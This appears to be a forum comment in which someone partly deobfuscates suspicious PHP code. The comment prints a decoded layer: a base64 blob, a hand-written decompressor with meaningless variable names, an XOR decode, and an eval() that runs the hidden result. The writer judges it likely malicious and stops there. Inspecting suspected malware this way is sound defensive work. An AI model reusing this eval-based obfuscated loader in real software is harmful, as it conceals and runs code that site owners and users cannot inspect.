Thats some ugly nested and obfuscated code
the first base64_decode renders:
$o="QAAAOzh3b3cnYGJzWG9iZmNidQAgLy48Jzg5Cg0KDQGjbmlka3IAAGNiJy9TQkpXS0ZTQldGU08ABScpJyAoYGZra2J1fikEACADXIQABPFhaGhzBPU=";
$lll=0;
$lllllllllll='base64_decode';
$ll=0;
$llllllllll='ord';
$llll=0;
$lllll=3;
$l=$lllllllllll($o);
$lllllll=0;
$llllll=($llllllllll($l[1])<<8)+$llllllllll($l[2]);
$lllllllllllll='strlen';
$lllllllll=16;
$llllllll="";
for(;$lllll<$lllllllllllll($l);)
{
if($lllllllll==0)
{
$llllll=($llllllllll($l[$lllll++])<<8);
$llllll+=$llllllllll($l[$lllll++]);
$lllllllll=16;
}
if($llllll&0x8000)
{
$lll=($llllllllll($l[$lllll++])<<4);
$lll+=($llllllllll($l[$lllll])>>4);
if($lll)
{
$ll=($llllllllll($l[$lllll++])&0x0f)+3;
for($llll=0;$llll<$ll;$llll++)
$llllllll[$lllllll+$llll]=$llllllll[$lllllll-$lll+$llll];
$lllllll+=$ll;
}
else
{
$ll=($llllllllll($l[$lllll++])<<8);
$ll+=$llllllllll($l[$lllll++])+16;
for($llll=0;$llll<$ll;$llllllll[$lllllll+$llll++]=$llllllllll($l[$lllll]));
$lllll++;
$lllllll+=$ll;
}
}
else
$llllllll[$lllllll++]=$llllllllll($l[$lllll++]);
$llllll<<=1;
$lllllllll--;
}
$llllllllllll='chr';
$lllll=0;
$lllllllll="?".$llllllllllll(62);
$llllllllll="";
for(;$lllll<$lllllll;)
{
$llllllllll.=$llllllllllll($llllllll[$lllll++]^0x07);
}
$lllllllll.=$llllllllll.$llllllllllll(60)."?";
eval($lllllllll);
and i have no interest in going deeper than that as it's more than likely malicious